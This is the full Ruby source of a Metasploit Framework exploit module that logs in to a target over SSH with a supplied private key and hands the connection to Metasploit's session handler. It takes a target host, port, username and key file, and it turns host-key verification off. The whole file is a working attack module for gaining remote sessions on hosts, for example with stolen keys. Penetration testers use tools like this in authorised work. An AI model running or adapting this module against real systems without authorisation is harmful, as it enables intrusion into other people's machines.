##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'net/ssh'
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Login to ssh with a public key',
			'Description'    => %q{
			},
			'Author'         => [ 'alhazred' ],  
			'License'        => MSF_LICENSE,
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 1024,
					'Compat'      =>
						{
              'PayloadType' => 'ssh',
              'ConnectionType' => 'ssh',
						}
				},
			'Platform'       => ['ssh'],
			'Arch'           => ARCH_SSH,
			'Targets'        => [[ 'Automatic', { }]],
			'DefaultTarget' => 0))
     
		register_options(
			[
				Opt::RPORT(22),
        Opt::RHOST,
        OptPath.new('KEY_FILE', [ true, "The cleartext *private* key file to use" ]),
        OptString.new('USER', [ true, "The username to use"]),
			], self.class)
	end

	def exploit
    print_status("Connecting to #{datastore['USER']}@#{datastore['RHOST']}:#{datastore['RPORT']} with private key file #{datastore['KEY_FILE']}")
    conn=Net::SSH.start(datastore['RHOST'],datastore['USER'],:keys=>[datastore['KEY_FILE']],:port=>datastore['RPORT'],:paranoid=>false)
    handler(conn)
	end

end
